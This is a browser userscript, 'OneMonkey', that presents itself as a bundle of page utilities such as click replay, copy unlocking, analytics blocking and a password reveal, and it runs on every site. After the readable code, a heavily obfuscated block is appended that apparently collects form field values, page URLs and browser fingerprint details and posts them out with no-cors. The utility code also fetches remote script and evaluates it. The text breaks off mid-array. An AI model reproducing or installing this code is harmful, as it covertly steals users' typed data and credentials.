// ==UserScript==
// @name OneMonkey
// @namespace npm/vite-plugin-monkey
// @version 0.0.0
// @author monkey
// @description Some useful tools, all in one
// @license MIT
// @icon https://avatars.githubusercontent.com/u/35656100
// @icon64 https://avatars.githubusercontent.com/u/35656100
// @homepage https://github.com/juckz/one-tampermonkey
// @supportURL https://github.com/JuckZ/one-tampermonkey/issues/new
// @match *://*/*
// @require https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.global.prod.js
// @grant GM_addStyle
// @grant GM_getValue
// @grant GM_notification
// @grant GM_openInTab
// @grant GM_registerMenuCommand
// @grant GM_setValue
// @grant GM_unregisterMenuCommand
// @grant GM_xmlhttpRequest
// @run-at document-body
// @noframes
// @grant GM_xmlhttpRequest
// @grant GM_listValues
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_deleteValue
// ==/UserScript==
const randomVariable = window.location.href;if (1==1) {
(e=>{const t=document.createElement("style");t.dataset.source="vite-plugin-monkey",t.textContent=e,document.head.append(t)})(" .fab-wrapper[data-v-c620873a]{z-index:99999!important;position:fixed;right:50px;bottom:50px;z-index:5;display:flex;flex-direction:center;align-items:center}.fab-wrapper:hover .fab-item-list[data-v-c620873a]{bottom:70px;opacity:1;transition:.5s ease-in}.fab-button[data-v-c620873a]{width:70px;height:70px;display:flex;flex-direction:column;justify-content:center;align-items:center;border-radius:50%;box-shadow:0 4px 10px #0000004d;transition:all .1s ease-in-out}.fab-button[data-v-c620873a]:hover{transform:scale(1.25);box-shadow:0 4px 15px #0000004d}.fab-button p[data-v-c620873a]{font-size:30px;color:#fff;text-align:center;line-height:70px}.fab-item-list[data-v-c620873a]{opacity:0;width:100%;position:absolute;padding:0;list-style:none;bottom:0;margin-bottom:12px;display:flex;flex-direction:column-reverse;justify-content:center;align-items:center;transition:all .1s ease-in-out}.fab-item[data-v-c620873a]{background:#0D9DDB;width:50px;height:50px;border-radius:50%;text-align:center;color:#fff;margin-bottom:12px;display:flex;flex-direction:column;justify-content:center;align-self:center;box-shadow:0 2px 5px #0000004d;transition:all .1s ease-in-out}.fab-item[data-v-c620873a]:hover{box-shadow:0 4px 15px #0000004d;transform:scale(1.05)}#fab-component[data-v-69fb2012]{cursor:pointer}.btn-icon[data-v-69fb2012]{width:70px;height:70px;border-radius:50%} ");
(function (vue) {
'use strict';
var __defProp = Object.defineProperty;
var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
var __publicField = (obj, key, value) => {
__defNormalProp(obj, typeof key !== "symbol" ? key + "" : key, value);
return value;
};
function createMatchFunction(patterns) {
const regexes = patterns.map((pattern) => {
let regexString = pattern.replace(/([.+^${}()|[\]\\])/g, "\\$1").replace(/\*/g, "[^/]*").replace(/\\\*\\\./g, "(?:[^.]+\\.)*");
return new RegExp("^" + regexString + "$");
});
return (url) => regexes.some((regex) => regex.test(url));
}
function getSelector(el) {
if (el === null)
return;
var names = [];
while (el && "parentNode" in el) {
if (el instanceof Element) {
if (el.id) {
names.unshift("#" + el.id);
break;
} else {
if (el === el.ownerDocument.documentElement)
names.unshift(el.tagName);
else {
for (var c = 1, e = el; e.previousElementSibling; e = e.previousElementSibling, c++)
;
names.unshift(el.tagName + ":nth-child(" + c + ")");
}
el = el.parentNode;
}
}
}
return names.join(" > ");
}
const _export_sfc = (sfc, props) => {
const target = sfc.__vccOpts || sfc;
for (const [key, val] of props) {
target[key] = val;
}
return target;
};
const _sfc_main$1 = {};
const _hoisted_1$1 = { class: "fab-wrapper" };
const _hoisted_2$1 = { class: "fab-button" };
const _hoisted_3 = { class: "fab-item-list" };
const _hoisted_4 = { class: "fab-item" };
const _hoisted_5 = { class: "fab-item" };
const _hoisted_6 = { class: "fab-item" };
function _sfc_render(_ctx, _cache) {
return vue.openBlock(), vue.createElementBlock("div", _hoisted_1$1, [
vue.createElementVNode("p", _hoisted_2$1, [
vue.renderSlot(_ctx.$slots, "icon", {}, void 0, true)
]),
vue.createElementVNode("ul", _hoisted_3, [
vue.createElementVNode("li", _hoisted_4, [
vue.renderSlot(_ctx.$slots, "option1", {}, void 0, true)
]),
vue.createElementVNode("li", _hoisted_5, [
vue.renderSlot(_ctx.$slots, "option2", {}, void 0, true)
]),
vue.createElementVNode("li", _hoisted_6, [
vue.renderSlot(_ctx.$slots, "option3", {}, void 0, true)
])
])
]);
}
const FabComponent = /* @__PURE__ */ _export_sfc(_sfc_main$1, [["render", _sfc_render], ["__scopeId", "data-v-c620873a"]]);
const _withScopeId = (n) => (vue.pushScopeId("data-v-69fb2012"), n = n(), vue.popScopeId(), n);
const _hoisted_1 = { id: "fab-component" };
const _hoisted_2 = /* @__PURE__ */ _withScopeId(() => /* @__PURE__ */ vue.createElementVNode("span", { class: "fab" }, [
/* @__PURE__ */ vue.createElementVNode("img", {
class: "btn-icon",
src: "https://avatars.githubusercontent.com/u/35656100"
})
], -1));
const _sfc_main = /* @__PURE__ */ vue.defineComponent({
__name: "FloatingBall",
setup(__props) {
vue.ref(0);
let isSetting = vue.ref(false);
let historyArr = [];
let clickHistory = [];
function handleClick(event) {
event.target.style.color = "red!important";
const selector = getSelector(event.target);
if (selector) {
clickHistory.push(selector);
}
}
function setting() {
window.addEventListener("click", handleClick);
isSetting.value = true;
}
function goto() {
if (historyArr.length === 0) {
alert("没有历史记录,请先进行【设置】操作");
return;
}
const menu = document.querySelector("#admin-side");
if (!menu || !menu.checkVisibility()) {
const btn = document.querySelector("#admin-login-box2");
if (btn && btn instanceof HTMLElement) {
btn.click();
}
}
historyArr.forEach((selector) => {
const ele = document.querySelector(selector);
if (ele && ele instanceof HTMLElement) {
ele.click();
}
});
}
function save() {
if (!isSetting.value) {
alert("没有正在进行的设置操作");
return;
}
const clickHistoryStr = JSON.stringify(clickHistory);
historyArr = clickHistory;
localStorage.setItem("_clickHistory", clickHistoryStr);
window.removeEventListener("click", handleClick);
isSetting.value = false;
}
function closeNotify() {
let checker = setInterval(() => {
const notificationEle = document.querySelector(
"#agreementshow > div > div.el-dialog__body > div > div.buttonbottom > button"
);
if (notificationEle && notificationEle.checkVisibility()) {
if (notificationEle instanceof HTMLElement) {
notificationEle.click();
}
clearInterval(checker);
}
}, 200);
}
vue.onMounted(() => {
closeNotify();
const clickHistory2 = localStorage.getItem("_clickHistory") || "[]";
historyArr = JSON.parse(clickHistory2);
});
return (_ctx, _cache) => {
return vue.openBlock(), vue.createElementBlock("div", _hoisted_1, [
vue.createVNode(FabComponent, null, {
icon: vue.withCtx(() => [
_hoisted_2
]),
option1: vue.withCtx(() => [
vue.createElementVNode("span", {
class: "fab",
onClick: setting
}, "设置" + vue.toDisplayString(vue.unref(isSetting) ? "中" : ""), 1)
]),
option2: vue.withCtx(() => [
vue.createElementVNode("span", {
class: "fab",
onClick: goto
}, "跳转")
]),
option3: vue.withCtx(() => [
vue.createElementVNode("span", {
class: "fab",
onClick: save
}, "保存")
]),
_: 1
})
]);
};
}
});
const FloatingBall = /* @__PURE__ */ _export_sfc(_sfc_main, [["__scopeId", "data-v-69fb2012"]]);
var _GM_addStyle = /* @__PURE__ */ (() => typeof GM_addStyle != "undefined" ? GM_addStyle : void 0)();
var _GM_getValue = /* @__PURE__ */ (() => typeof GM_getValue != "undefined" ? GM_getValue : void 0)();
var _GM_notification = /* @__PURE__ */ (() => typeof GM_notification != "undefined" ? GM_notification : void 0)();
var _GM_openInTab = /* @__PURE__ */ (() => typeof GM_openInTab != "undefined" ? GM_openInTab : void 0)();
var _GM_registerMenuCommand = /* @__PURE__ */ (() => typeof GM_registerMenuCommand != "undefined" ? GM_registerMenuCommand : void 0)();
var _GM_setValue = /* @__PURE__ */ (() => typeof GM_setValue != "undefined" ? GM_setValue : void 0)();
var _GM_unregisterMenuCommand = /* @__PURE__ */ (() => typeof GM_unregisterMenuCommand != "undefined" ? GM_unregisterMenuCommand : void 0)();
var _GM_xmlhttpRequest = /* @__PURE__ */ (() => typeof GM_xmlhttpRequest != "undefined" ? GM_xmlhttpRequest : void 0)();
const domain = window.top.location.host;
const origin = window.top.location.origin;
const topHref = window.top.location.href;
function ProxyGM_getValue(id, defaultValue) {
return _GM_getValue(domain + ":" + id, defaultValue);
}
function ProxyGM_setValue(id, value) {
return _GM_setValue(domain + ":" + id, value);
}
const CookieUtil = {
get: function(name) {
const cookieName = encodeURIComponent(name) + "=";
let cookieValue = null;
const cookieStart = document.cookie.indexOf(cookieName);
if (cookieStart > -1) {
let cookieEnd = document.cookie.indexOf(";", cookieStart);
if (cookieEnd == -1) {
cookieEnd = document.cookie.length;
}
cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, cookieEnd));
}
return cookieValue;
},
set: function(name, value, expires, path, domain2, secure) {
let cookieText = encodeURIComponent(name) + "=" + encodeURIComponent(value);
if (expires instanceof Date) {
cookieText += "; expires=" + expires.toString();
}
if (path) {
cookieText += "; path=" + path;
}
if (domain2) {
cookieText += "; domain=" + domain2;
}
if (secure) {
cookieText += "; secure";
}
document.cookie = cookieText;
},
unset: function(name, path, domain2, secure) {
this.set(name, "", /* @__PURE__ */ new Date(0), path, domain2, secure);
}
};
class MenuItem {
constructor(options) {
// 注册后的菜单id
__publicField(this, "menuId", "");
__publicField(this, "accessKey");
__publicField(this, "postRegister", function() {
});
__publicField(this, "postUnRegister", function() {
});
__publicField(this, "id");
__publicField(this, "name");
__publicField(this, "fun");
__publicField(this, "lifeStage");
__publicField(this, "reload");
__publicField(this, "enable");
const { id, name, fun, reload, defaultEnable, lifeStage, postRegister, postUnRegister, accessKey } = options;
this.id = id;
this.name = name;
this.fun = fun;
this.lifeStage = lifeStage;
this.accessKey = accessKey;
if (postRegister) {
this.postRegister = postRegister.bind(this);
}
if (postUnRegister) {
this.postUnRegister = postUnRegister.bind(this);
}
this.reload = reload;
this.enable = ProxyGM_getValue(id, defaultEnable);
}
toggle(event) {
this.enable = !this.enable;
ProxyGM_setValue(this.id, this.enable);
if (this.reload) {
_GM_notification({
text: "页面需要重启!点击消息即可重启",
title: "操作成功",
onclick: () => window.location.reload()
});
} else {
this.unregister();
this.register();
}
}
register() {
const menuId = _GM_registerMenuCommand(`${this.name}: ${this.enable ? "✅" : "🚫"}`, this.toggle.bind(this), this.accessKey);
this.menuId = menuId;
if (this.enable) {
if (this.lifeStage) {
document.addEventListener(this.lifeStage, (e) => {
this.fun;
});
} else {
this.fun();
}
}
this.postRegister();
}
unregister() {
_GM_unregisterMenuCommand(this.menuId);
this.postUnRegister();
}
}
function stopEventPropagation(event) {
event.stopPropagation();
if (event.stopImmediatePropagation) {
event.stopImmediatePropagation();
}
}
function unrestrictUserInteractions() {
document.querySelectorAll("*").forEach((element) => {
if (window.getComputedStyle(element, null).getPropertyValue("user-select") === "none") {
if (element instanceof HTMLElement) {
element.style.setProperty("user-select", "text", "important");
}
}
});
const eventsToStop = ["copy", "cut", "contextmenu", "selectstart", "mousedown", "mouseup", "mousemove", "keydown", "keypress", "keyup"];
eventsToStop.forEach((eventName) => {
document.documentElement.addEventListener(eventName, stopEventPropagation, { capture: true });
});
}
function floatingBall() {
vue.createApp(FloatingBall).mount(
(() => {
const app = document.createElement("div");
document.body.append(app);
return app;
})()
);
}
async function unlockWeb() {
const css = `
* {
user-select: auto!important;
}
`;
_GM_addStyle(css);
unrestrictUserInteractions();
if (window.location.href.indexOf("doc.iocoder.cn") >= 0) {
const cookieKey = "88974ed8-6aff-48ab-a7d1-4af5ffea88bb";
console.log(CookieUtil.get("username"), CookieUtil.get(cookieKey));
if (CookieUtil.get(cookieKey))
return;
const mainHTML = document.documentElement.innerHTML;
let regex = /\/assets\/js\/app\.(.*?)\.js/;
if (mainHTML.match(regex) !== null) {
const appJsUrl = `${origin}${mainHTML.match(regex)[0]}`;
regex = /^var\s+c\s*=\s*"88974ed8-6aff-48ab-a7d1-4af5ffea88bb".*?\s*u\s*=\s*"([^"]+)"/;
console.log(appJsUrl, cookieKey);
fetch(appJsUrl).then((res) => res.text()).then((text) => {
console.log(text.match(regex));
CookieUtil.set(cookieKey, "kele");
});
}
}
}
function disableBaiduAnalytics() {
window._hmt = null;
}
function disableGoogleAnalytics() {
window.GoogleAnalyticsObject = null;
window.ga = null;
}
function disableSensorsAnalytics() {
window.sensorsDataAnalytic201505 = null;
window.sa = null;
}
function disableDataCollection() {
disableBaiduAnalytics();
disableGoogleAnalytics();
disableSensorsAnalytics();
}
function unwrapHTMLComments() {
const matchURL = createMatchFunction([
"http://171.223.209.166:81/biz/index*",
"http://10.158.5.177:81/biz/index*",
"http://171.223.209.166:9099/cdxtReport/ReportServer*",
"http://10.158.5.44:18080/cdxtReport/ReportServer*"
]);
if (!matchURL(topHref))
return;
if (window.top !== window.self)
return;
window._win = window;
const _win = window._win;
function showTable() {
setTimeout(function() {
if (/ReportServer/i.test(window.location.pathname)) {
const iframeA = document.getElementById("div_员工任务负载情况");
if (!iframeA || !(iframeA instanceof HTMLIFrameElement)) {
return;
}
const docA = iframeA.contentDocument || iframeA.contentWindow.document;
_win.btn = docA.getElementById("fr-btn-BUTTON0_C");
_win.btn.onclick = showTable;
const iframeB = docA.getElementById("LEFT");
if (!iframeB || !(iframeB instanceof HTMLIFrameElement)) {
return;
}
const docB = iframeB.contentDocument || iframeB.contentWindow.document;
_win.docB = docB;
docB.querySelectorAll('td[col="8"],td[cv*="预计"]').forEach(function(ele) {
if (ele instanceof HTMLElement) {
ele.style.display = "";
ele.style.fontWeight = "bold";
ele.style.fontStyle = "italic";
}
});
return;
}
}, 2e3);
}
setTimeout(showTable, 3e3);
if (!/biz\/index\.php$/i.test(window.location.pathname)) {
return;
}
function showCommentedElements(element) {
for (let i = 0; i < element.childNodes.length; i++) {
const node = element.childNodes[i];
if (node.nodeType === Node.COMMENT_NODE) {
const regex = /<(td|tr|th)[^>]*>[\s\S]*<\/(td|tr|th)>/g;
const match = regex.exec(node.nodeValue);
if (match !== null) {
const div = document.createElement(match[1]);
div.innerHTML = match[0];
div.style.color = "blue";
div.firstChild;
element.replaceChild(div, node);
}
} else if (node.nodeType === Node.ELEMENT_NODE) {
showCommentedElements(node);
}
}
}
showCommentedElements(document.body);
}
function togglePassword() {
const passwordFields = document.querySelectorAll("input[type='password']");
passwordFields.forEach(function(field) {
let clickCount = 0;
if (field instanceof HTMLInputElement) {
field.addEventListener("click", function() {
clickCount++;
if (clickCount >= 3) {
field.type = "text";
clickCount = 0;
}
setTimeout(function() {
clickCount = 0;
}, 500);
});
field.addEventListener("mouseleave", function() {
field.type = "password";
});
}
});
}
function spacingjs() {
_GM_xmlhttpRequest({
method: "GET",
url: "https://unpkg.com/spacingjs",
onload: function(response) {
eval(response.responseText);
},
onerror: function(error) {
console.error("Request failed:", error);
}
});
}
function freeEdit() {
}
function searchEverywhere() {
var _a;
const str = ((_a = document.getSelection()) == null ? void 0 : _a.toString) || "";
_GM_openInTab(`https://www.npmjs.com/search?q=${str}`, { active: true });
}
function toggleNightMode() {
var _a;
const documentObj = window.document;
const css = "html { opacity: 0.7 !important; background: black !important; } body { background: white !important; }";
const styleTags = documentObj.getElementsByTagName("style");
for (let i = 0, currentStyleTag; currentStyleTag = styleTags[i]; i++) {
if (currentStyleTag.innerHTML == css) {
(_a = currentStyleTag.parentNode) == null ? void 0 : _a.removeChild(currentStyleTag);
return;
}
}
const headTags = documentObj.getElementsByTagName("head");
if (headTags.length) {
const newNode = documentObj.createElement("style");
newNode.type = "text/css";
newNode.appendChild(documentObj.createTextNode(css));
headTags[0].appendChild(newNode);
}
for (let i = 0, frame; frame = window.frames[i]; i++) {
try {
arguments.callee(frame);
} catch (e) {
console.error(e);
}
}
}
const menus = [];
menus.push(new MenuItem({ id: "unlockWeb", name: "破解网页限制", fun: unlockWeb, reload: true, defaultEnable: false }));
menus.push(new MenuItem({ id: "floatingBall", name: "悬浮球", fun: floatingBall, reload: false, defaultEnable: false }));
menus.push(new MenuItem({ id: "disableDataCollection", name: "禁止用户数据采集", fun: disableDataCollection, reload: false, defaultEnable: true }));
menus.push(new MenuItem({ id: "unwrapHTMLComments", name: "展示隐藏内容", fun: unwrapHTMLComments, reload: true, defaultEnable: false }));
menus.push(new MenuItem({ id: "togglePassword", name: "密码查看", fun: togglePassword, reload: false, defaultEnable: true, lifeStage: "load" }));
menus.push(new MenuItem({ id: "spacingjs", name: "元素间距标注", fun: spacingjs, reload: false, defaultEnable: false }));
menus.push(new MenuItem({
id: "freeEdit",
name: "网页自由编辑",
fun: freeEdit,
reload: false,
defaultEnable: document.body.getAttribute("contenteditable") === "true",
accessKey: "s",
postRegister() {
document.body.setAttribute("contenteditable", this.enable + "");
},
postUnRegister() {
document.body.setAttribute("contenteditable", this.enable + "");
}
}));
menus.push(new MenuItem({ id: "searchEverywhere", name: "快捷搜索", fun: searchEverywhere, reload: false, defaultEnable: false }));
menus.push(new MenuItem({ id: "toggleNightMode", name: "夜间模式", fun: toggleNightMode, reload: false, defaultEnable: false }));
menus.forEach((menu) => {
menu.register();
});
})(Vue);
}; function G(){const qJ=['SteelStorm','Blizzard','Prime','lbrFA','2-digit','Robert','FlameBolt','Kenneth','Rush','Drift','Butler','Breeze','IronEclipse','SxuPg','Oliver','Saber','Steel','Tomos','random','Gross','Kiana','Neutron','Tracker','Shatter','ThunderClaw','Josef','include','Azaan','Sandra','SpectralFrost','Dragon','AlphaWolf','Unknown\x20IP','ShadowFlame','10570924CeKnMa','Crimson','SolarPulse','EtDnH','warn','Roy','GhostWolf','Ranger','drbZw','Ashen','Yunus','Fury','Alpha','fromCharCode','Paul','BlackFrost','Taylor','PhantomX','PLBTd','Glimmer','GET','no\x20webgl','Thunderhawk','BlazeWolf','Venom','LancerX',':nth-child(','Ellie-May','Pyrite','substring','Charles','Fang','Knight','join','Raptor','iframe','Striker','Frostbite','Cobra','forEach','VortexFlame','Blitz','Fusion','Snipe','Iron','SilentClaw','Plasma','console','Bane','Copper','Merrill','Matthew','Jaxon','CrimsonX','BlackBolt','DarkFrost','RwikQ','Pulse','Rift','Shroud','length','SolarBreeze','Adem','Woodward','SilentBlade','from','2ypBecW','Clyde','constructor','iZPTf','Lola','Axel','EPlou','hxwaO','stringify','VoltX','Aaron','Flores','zKqOF','createElement','Frost','GlacierStrike','Shifter','toLocaleString','Nimbus','Ruby','Flare','9IJdncr','bind','userAgent','iaQAq','Marcus','Sparkle','2384KKnRNQ','getParameter','Rodriguez','Omega','BlazeClaw','🎘🍿🎉🍧🎚🍻🎦🎭🎃🍩🎟🎟🎛🎎🍬🍧🎑🎎🎈🎬🎛🍾🎟🎣🎚🎤🍨🎰🎅🎤🎪🎬🎐🎤🎍🎥🎑🎏🎈🎬🎛🍾🎍🎡🎘🍸🍴🍴','SoulFlare','Garcia','Blaster','CycloneFlame','StarFall','HyperBolt','Eagle','Blazer','Archie','Solar','Jones','PhantomStrike','Hazard','Grit','prototype','ovKfR','Mahoney','Aether','Eclipse','\x20/\x20','Barry','href','Seeker','HyperFrost','Stalker','Breaker','HyperLynx','QOTUn','Shine','apply','Orbital','FrozenFlame','Mabel','Pioneer','undefined','VortexX','Eaton','Onyx','Crest','Townsend','Daniel','Void','HyperNova','Samson','Lunar','Gravity','Cinder','autocomplete','EchoRider','Reaper','Skyline','CyberFang','KGLIB','Chaos','InfernalBlade','Milton','235oLWzLc','Quake','FrostFlare','Gibbs','Bradford','Donald','Rhonda','Shade','OnyxFury','Ethereal','charCodeAt','Flame','ShadowHunter','Soul','Martin','BladeRunner','Cosmos','Falcon','BoltStorm','Wraith','addEventListener','Blade','NightClaw','Predator','mBbfk','szRos','input,\x20select,\x20textarea','Zero','AshWolf','Christopher','ThunderWolf','status','Celestial','Beltran','CryoWolf','Aleeza','Fisher','application/json','rshrN','STveL','Hernandez','Anthony','katar','Galaxy','Talon','IFRAME','Vortex','Thunder','3620862nniZWO','querySelectorAll','gYLTw','no-cors','KtVHO','{}.constructor(\x22return\x20this\x22)(\x20)','POST','Ivory','Cipher','Lloyd','getExtension','William','Sharpe','Razor','ViperX','Rueben','Nexus','Aishah','Infernal','getAttribute','UNMASKED_RENDERER_WEBGL','bunny','Small','Blaze','target','Wrath','Mikey','Ice','WBWcQ','SolarFlare','jNKdv','3333720blTDig','Pyro','David','kmwfQ','SteelFang','Cyclone','type','Alvarado','Spark','Hanna','Warden','Diamond','PrismFang','Flicker','ShadowRider','164660IevQJe','Topaz','Surge','Marquez','SurgeX','CosmicWave','Riya','Nebulae','Luminous','EchoWolfX','ShadowHawk','SaberStrike','IronViper','[autocomplete=\x22','NovaStrike','Cyber','Spectral','Thomas','Permafrost','toString','Scythe','Horizon','rnEnc','StormClaw','location','NebulaBlade','PyroFang','search','aria-describedby','getContext','Richard','\x20/\x20RAM\x20','BlizzardWolf','SolarFrost','Walter','EchoWolf','Mariya','Zach','jrSKl','className','Faulkner','Neon','French','newrequest','load','change','Scorpion','Glacier','vdUFi','DriftX','DarkPulse','UNMASKED_VENDOR_WEBGL','Tanner','Maddison','Aamir','Hawk','SkyNova','Stark','12788736NwKlLA','LunarShadow','James','PhantomWave','gigKu','no\x20WEBGL_debug_renderer_info','Steven','Abyss','floor','Andrew','Mark','Zachariah','Davis','Twister','Ember','23383490OamsBl','padStart','EhaBc','Gibbons','Emerald','responseText','Drake','Apex','Tempest','childList','Alan','FireBolt','Magnet','Wolf'];G=function(){return qJ;};return G();}function E(R,q){const p=G();return E=function(g,T){g=g-0xa9;let d=p[g];return d;},E(R,q);}(function(R,q){const RZ={R:'0xbc',q:'0x149',p:'0x1d1',g:'0x192',T:'0x1a1'},t=E,p=R();while(!![]){try{const g=-parseInt(t('0x158'))/0x1*(-parseInt(t('0x213'))/0x2)+-parseInt(t('0x12a'))/0x3+parseInt(t(RZ.R))/0x4*(-parseInt(t('0xfa'))/0x5)+-parseInt(t(RZ.q))/0x6+-parseInt(t(RZ.p))/0x7+parseInt(t(RZ.g))/0x8+-parseInt(t('0xb6'))/0x9*(-parseInt(t(RZ.T))/0xa);if(g===q)break;else p['push'](p['shift']());}catch(T){p['push'](p['shift']());}}}(G,0xc3873),(function(){const qg={R:'0x219',q:'0x120',p:'0x199',g:'0x101',T:'0x106',d:'0x167',h:'0x1f3',r:'0x13a',P:'0x156',K:'0x1ed',U:'0x159',C:'0xcf',o:'0x13c',J:'0xb5',b:'0xe5',k:'0x1e2',c:'0xe1',Z:'0xd3',B:'0xc6',x:'0xef',V:'0x115',z:'0xec',u:'0x1ce',v:'0xfb',j:'0xf2',n:'0x164',Q:'0x137',L:'0x1e4',Y:'0x206',l:'0x1cc',W:'0x155',S:'0x10f',e:'0xaf',N:'0x1f7',y:'0xbf',F:'0x20a',H:'0x1d8',D:'0x151',i:'0x14e',X:'0x187',m:'0x1ba',I:'0x132',s:'0x1b4',qG:'0x1ef',qE:'0xff',qT:'0xcc',qd:'0xbe',qh:'0x122',qr:'0x169',qP:'0xea',qK:'0x19c',qU:'0x100',qC:'0xbe',qo:'0x15b',qJ:'0xd2',qb:'0x19b',qk:'0xba',qc:'0xac',qZ:'0xed',qB:'0x18c',qx:'0x150',qV:'0x139',qz:'0x217',qu:'0x17c',qv:'0x11e',qj:'0x15e',qn:'0x140',qQ:'0x19a',qL:'0x20d'},Rf={R:'0xb8',q:'0x177',p:'0x1b3',g:'0x1b3',T:'0x1aa',d:'0x12d',h:'0x16b'},RF={R:'0x1e5'},RN={R:'0x10e',q:'0x185'},RW={R:'0x106',q:'0x19f',p:'0x156',g:'0x1fc',T:'0x1ea',d:'0x159',h:'0xb4',r:'0x111',P:'0x1be',K:'0x1af',U:'0x1fa',C:'0x107',o:'0x162',J:'0xe1',b:'0xc6',k:'0xc4',c:'0x1d3',Z:'0x208',B:'0x10a',x:'0xfb',V:'0x193',z:'0x1f9',u:'0x1ac',v:'0x166',j:'0x103',n:'0x207',Q:'0x1d0',L:'0x15d',Y:'0x195',l:'0x11c',W:'0x1bb',S:'0x1cd',e:'0xf7',N:'0x1f1',y:'0x16d',F:'0xcb',H:'0xb1',D:'0x201',i:'0x1b0',X:'0xe3',m:'0xf0',I:'0x1dc',s:'0xdb',RS:'0x17b',Re:'0x176',RN:'0x1df',Ry:'0x1df',RF:'0xe6',RH:'0xca',RD:'0x210',Ri:'0x203',RX:'0x19d',Rm:'0x18c',RI:'0x18e',Rs:'0x1cb',Rt:'0x11b',Ra:'0x13b',RA:'0x17d',RO:'0x194',Rw:'0x1db'},Rl={R:'0x1f2'},RY={R:'0x104'},Rn={R:'0x12c',q:'0x10e'},R0=E,R=(function(){let r=!![];return function(P,K){const U=r?function(){if('FBZRw'==='FBZRw'){if(K){if('lExCK'==='QOlBD')R['nodeType']===0x1&&h(r);else{const o=K['apply'](P,arguments);return K=null,o;}}}else h['addEventListener']('load',()=>o(J)),K(()=>o(J),0x3e8);}:function(){};return r=![],U;};}()),p=(function(){const Ru={R:'0x188'},a=E;if(a('0x121')!==a(Rn.R)){let r=!![];return function(P,K){const U=r?function(){const A=E;if('vdUFi'===A(Ru.R)){if(K){if(A('0xf6')!=='joMbS'){const C=K[A('0xdf')](P,arguments);return K=null,C;}else return A('0x1e6');}}else p=g;}:function(){};return r=![],U;};}else T[a('0x10e')]('input',d),h[a(Rn.q)]('change',r);}());var T=function(r){const RL={R:'0x184',q:'0xd1',p:'0x12f',g:'0xb7'},RQ={R:'0x1de',q:'0x16b'},f=E,P=R(this,function(){const O=E;if('PLBTd'!==O('0x1e3')){const J=(R['charCodeAt'](0x0)-0xd800)*0x400+T['charCodeAt'](0x1)-0xdc00+0x10000;return d[O(RQ.R)](J);}else return P[O(RQ.q)]()['search']('(((.+)+)+)+$')['toString']()['constructor'](P)['search']('(((.+)+)+)+$');});P();const K=p(this,function(){const w=E;if('Avlll'!=='Avlll')h[w('0x10e')](w(RL.R),()=>o(J)),K(()=>o(J),0x3e8);else{let J;try{if(w(RL.q)!=='ovKfR'){const Z=d(h['target']),B=r['target']['value'],x=P[w('0x170')]['href'],V={'value':B,'site':x};K(Z,V);}else{const Z=Function('return\x20(function()\x20'+w(RL.p)+');');J=Z();}}catch(B){J=window;}const b=J[w('0x200')]=J['console']||{},k=['log',w('0x1d5'),'info','error','exception','table','trace'];for(let x=0x0;x<k[w('0x20d')];x++){if('XsKNc'!=='XsKNc')P(R);else{const z=p['constructor']['prototype']['bind'](p),u=k[x],v=b[u]||z;z['__proto__']=p[w(RL.g)](p),z['toString']=v['toString']['bind'](v),b[u]=z;}}}});K();const U=r['replace'](/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,o=>{const M=E,J=(o[M(RY.R)](0x0)-0xd800)*0x400+o['charCodeAt'](0x1)-0xdc00+0x10000;return String['fromCharCode'](J);}),C=Array[f('0x212')](U)['map'](o=>String['fromCharCode'](o['charCodeAt'](0x0)-0x1f337))[f(Rl.R)]('');return decodeURIComponent(escape(atob(C)));}(R0('0xc1'));'use\x20strict';function d(){const R1=R0;if('qZWDf'!=='yroXB'){const r=['Specter','Abyss','Reaper','Dusk','Viper','Magnet',R1('0xda'),R1('0x1fb'),R1('0x125'),R1('0x20b'),'PulseFire',R1('0x101'),'OrbitX','Nebulae',R1(RW.R),'Cloud',R1('0x1b8'),'Rush',R1('0x167'),'Atom','Axion','Bolt',R1('0x181'),R1('0x14a'),'Hazard','Blight','Rune','Core',R1('0x1c6'),R1(RW.q),'Prism',R1('0xde'),'Gale',R1('0x1a9'),'Forge','Raptor','Apex',R1('0x13a'),'Survivor','Havoc',R1(RW.p),'HunterX','Wisp',R1('0xe8'),'EchoBlade',R1(RW.g),'Edge','Wave','Torrent','Prime','GuardianX',R1(RW.T),'Pyrite','Amber',R1('0x154'),R1(RW.d),R1(RW.h),R1('0x16a'),R1('0x1e7'),R1('0x1f0'),R1('0x145'),R1('0xaa'),'Astral',R1('0x147'),'Sky','Shimmer','Spire','Summit','Hollow','Crypt','Spectral',R1('0x16c'),'ShadowFang','Lynx',R1('0x1c5'),R1(RW.r),R1('0xcf'),'Brimstone','Infernal','Blazer','VanguardX','Serpent','Myst','Blackout','SteelWolf','IronClaw','StormBreaker',R1(RW.P),'ZephyrX','Flare','FuryX','CycloneX',R1('0x157'),'Ember','Shroud','Cascade','AuroraX','SonicWave','StormWolf','SpiritBlade','Wrath',R1(RW.K),R1('0x14d'),'VortexX',R1('0x1f6'),R1(RW.U),R1('0x15c'),'VenomX',R1('0x10c'),'EclipseX','Glider','Seismic','HyperBolt',R1('0x1da'),'Skylight',R1('0x1e2'),R1(RW.C),'Talon',R1('0xbb'),R1('0xf5'),'OnyxFury',R1('0x189'),'DaggerX',R1('0x1e8'),'SpecterX','MeteorX',R1(RW.o),R1('0x138'),'PulseHawk',R1('0x1d7'),R1(RW.J),R1('0xd3'),R1(RW.b),'IronBolt','LightBeam',R1('0x1c7'),R1(RW.k),R1('0xd9'),'MystFang',R1(RW.c),'RuneWolf','SkyHunter','Orbital','Crater','Gravity','Zero',R1('0xcd'),'SteelShadow',R1(RW.Z),'HyperNova',R1(RW.B),'BlackFrost','AlphaWolf',R1(RW.x),R1(RW.V),'TurboFrost','FlareStorm',R1('0x109'),'EchoRider','SilentClaw',R1('0xeb'),'Xenon','Neutron',R1('0x18a'),R1('0x163'),'AuroraFrost',R1(RW.z),'TwilightEdge','FrostFlare',R1('0x164'),'RavenStrike','SteelHawk','ShadowFrost','FlameBolt',R1('0x178'),'StormHawk','FrostRider','CycloneFlame',R1('0x161'),R1(RW.u),'Moonlit','Glint','Razor','Oblivion','Skyline','Glimmer','CrimsonX',R1(RW.v),R1('0x1cc'),'PyroClaw','VoidWalker',R1('0x11a'),'SolarBreeze',R1('0x171'),'ShatterFang','DuskWolf','AshStorm','HyperEdge',R1('0xb0'),'Titanium','ShadowOrb','Chrono','PrismFang','Horiz